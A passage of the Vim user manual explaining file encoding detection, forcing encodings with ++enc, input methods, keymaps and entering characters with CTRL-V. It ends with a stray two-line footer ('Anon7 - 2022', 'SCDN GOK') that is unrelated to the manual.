	ucs-bom		File must start with a Byte Order Mark (BOM).  This
			allows detection of 16-bit, 32-bit and utf-8 Unicode
			encodings.
	utf-8		utf-8 Unicode.  This is rejected when a sequence of
			bytes is illegal in utf-8.
	latin1		The good old 8-bit encoding.  Always works.

When you start editing that 16-bit Unicode file, and it has a BOM, Vim will
detect this and convert the file to utf-8 when reading it.  The 'fileencoding'
option (without s at the end) is set to the detected value.  In this case it
is "utf-16le".  That means it's Unicode, 16-bit and little-endian.  This
file format is common on MS-Windows (e.g., for registry files).
   When writing the file, Vim will compare 'fileencoding' with 'encoding'.  If
they are different, the text will be converted.
   An empty value for 'fileencoding' means that no conversion is to be done.
Thus the text is assumed to be encoded with 'encoding'.

If the default 'fileencodings' value is not good for you, set it to the
encodings you want Vim to try.  Only when a value is found to be invalid will
the next one be used.  Putting "latin1" first doesn't work, because it is
never illegal.  An example, to fall back to Japanese when the file doesn't
have a BOM and isn't utf-8: >

	:set fileencodings=ucs-bom,utf-8,sjis

See |encoding-values| for suggested values.  Other values may work as well.
This depends on the conversion available.


FORCING AN ENCODING

If the automatic detection doesn't work you must tell Vim what encoding the
file is.  Example: >

	:edit ++enc=koi8-r russian.txt

The "++enc" part specifies the name of the encoding to be used for this file
only.  Vim will convert the file from the specified encoding, Russian in this
example, to 'encoding'.  'fileencoding' will also be set to the specified
encoding, so that the reverse conversion can be done when writing the file.
   The same argument can be used when writing the file.  This way you can
actually use Vim to convert a file.  Example: >

	:write ++enc=utf-8 russian.txt
<
	Note:
	Conversion may result in lost characters.  Conversion from an encoding
	to Unicode and back is mostly free of this problem, unless there are
	illegal characters.  Conversion from Unicode to other encodings often
	loses information when there was more than one language in the file.

==============================================================================
*45.5*	Entering language text

Computer keyboards don't have much more than a hundred keys.  Some languages
have thousands of characters, Unicode has over hundred thousand.  So how do
you type these characters?
   First of all, when you don't use too many of the special characters, you
can use digraphs.  This was already explained in |24.9|.
   When you use a language that uses many more characters than keys on your
keyboard, you will want to use an Input Method (IM).  This requires learning
the translation from typed keys to resulting character.  When you need an IM
you probably already have one on your system.  It should work with Vim like
with other programs.  For details see |mbyte-XIM| for the X Window system and
|mbyte-IME| for MS-Windows.


KEYMAPS

For some languages the character set is different from latin, but uses a
similar number of characters.  It's possible to map keys to characters.  Vim
uses keymaps for this.
   Suppose you want to type Hebrew.  You can load the keymap like this: >

	:set keymap=hebrew

Vim will try to find a keymap file for you.  This depends on the value of
'encoding'.  If no matching file was found, you will get an error message.

Now you can type Hebrew in Insert mode.  In Normal mode, and when typing a ":"
command, Vim automatically switches to English.  You can use this command to
switch between Hebrew and English: >

	CTRL-^

This only works in Insert mode and Command-line mode.  In Normal mode it does
something completely different (jumps to alternate file).
   The usage of the keymap is indicated in the mode message, if you have the
'showmode' option set.  In the GUI Vim will indicate the usage of keymaps with
a different cursor color.
   You can also change the usage of the keymap with the 'iminsert' and
'imsearch' options.

To see the list of mappings, use this command: >

	:lmap

To find out which keymap files are available, in the GUI you can use the
Edit/Keymap menu.  Otherwise you can use this command: >

	:echo globpath(&rtp, "keymap/*.vim")


DO-IT-YOURSELF KEYMAPS

You can create your own keymap file.  It's not very difficult.  Start with
a keymap file that is similar to the language you want to use.  Copy it to the
"keymap" directory in your runtime directory.  For example, for Unix, you
would use the directory "~/.vim/keymap".
   The name of the keymap file must look like this:

	keymap/{name}.vim ~
or
	keymap/{name}_{encoding}.vim ~

{name} is the name of the keymap.  Chose a name that is obvious, but different
from existing keymaps (unless you want to replace an existing keymap file).
{name} cannot contain an underscore.  Optionally, add the encoding used after
an underscore.  Examples:

	keymap/hebrew.vim ~
	keymap/hebrew_utf-8.vim ~

The contents of the file should be self-explanatory.  Look at a few of the
keymaps that are distributed with Vim.  For the details, see |mbyte-keymap|.


LAST RESORT

If all other methods fail, you can enter any character with CTRL-V:

	encoding   type			range ~
	8-bit	   CTRL-V 123		decimal 0-255
	8-bit	   CTRL-V x a1		hexadecimal 00-ff
	16-bit     CTRL-V u 013b	hexadecimal 0000-ffff
	31-bit	   CTRL-V U 001303a4	hexadecimal 00000000-7fffffff

Don't type the spaces.  See |i_CTRL-V_digit| for the details.

==============================================================================

Next chapter: |usr_90.txt|  Installing Vim

Copyright: see |manual-copyright|  vim:tw=78:ts=8:ft=help:norl:

Anon7 - 2022
SCDN GOK